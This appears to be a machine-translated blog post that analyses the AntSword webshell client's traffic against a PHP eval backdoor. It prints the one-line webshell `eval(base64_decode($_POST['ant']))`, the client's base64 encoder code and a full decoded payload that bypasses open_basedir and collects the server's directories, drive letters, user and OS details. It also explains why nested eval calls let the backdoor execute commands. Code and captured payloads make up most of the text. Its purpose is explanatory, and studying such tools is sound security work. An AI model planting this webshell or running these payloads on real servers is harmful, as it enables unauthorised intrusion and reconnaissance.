2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
refer to
byFirstFor example
Trojans
<?php @eval(base64_decode($_POST['ant']));?>
Get the ant parameter content, then base64 decode it and run it
Encoder
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
Generate a random number randomID, encode the data in base64 and pass it into the randomID parameter.
Theneval(base64_decode($_POST[${randomID}]));die();Base64 encoding
Conversely
The Trojan first obtainsdata[pwd]That isantThe value is decoded by base64.
eval(base64_decode($_POST[${randomID}]));die();
In fact, the Trojan horse has become
<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
Assume that the generated random number randomID isA, then that is
<?php @eval(eval(base64_decode($_POST[A]));die(););?>
In the second step of the Trojan,data[randomID], that is$_POST[${randomID}], which is here$_POST[A]Base64 encoding, so it needs to be decoded once, so the question is, why do we need to do it twice? Then we need to check it from the traffic package
The environment setup is not demonstrated here, Xiaopi, Yijian, and burpsuite are enough
Decode the data packet base
ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
base64_decode($_POST[_0x36c084a15bf7d])
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
Then it becomeseval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")
Check out this long paragraph and sort it out.
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "59ee6d"."26ac18";
echo @asenc($output);
echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
Of course, I don’t recognize many of the functions, but there is AI!
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
This paragraph is
Turn off error display
Set script execution time
Get the configuration value of open_basedir and bypassopen_basedirAttribute restrictions
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
This section obtains the directory where the current script is located and initializes the string parameter$R, traverse the drive letter, CZ blasts the drive letter, uses the posix_getegid function to obtain the user name, user group, etc. of the user executing the script, and detects$uIf it exists, use the get_current_user() function to get it. Use php_uname() to get the operating system information.
It is very clear here. This PHP code obtains the current execution directory, drive letter, user, and operating system information of the Trojan. Because the cache mechanism is used, the last
The asoutput() function performs collective output.
Send the request package above to the repeater module and find that the returned results are the same
But this still doesn't explain why there are two evals. In fact, the content passed to ant is a string. Only when there is an eval outside will the eval inside be executed as a function. Let's take a simple example
<?php
eval("eval('echo 1+1;');die();")
?>
Deform
<?php
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
The final output is 2, which means that the outer eval converts the string into a function to execute, and the inner eval executes the content
In this example, the Trojan's eval is used to activate the eval function in the request packet, thereby achieving the effect of command execution.
I have devoted myself to the research of technology for more than 30 years. I am proficient in various languages such as Java, Linux, JavaScript, PHP, CSS, etc. I have made many contributions in the field of open source. I have established a developer documentation site to share some problems in technology development for everyone to read.
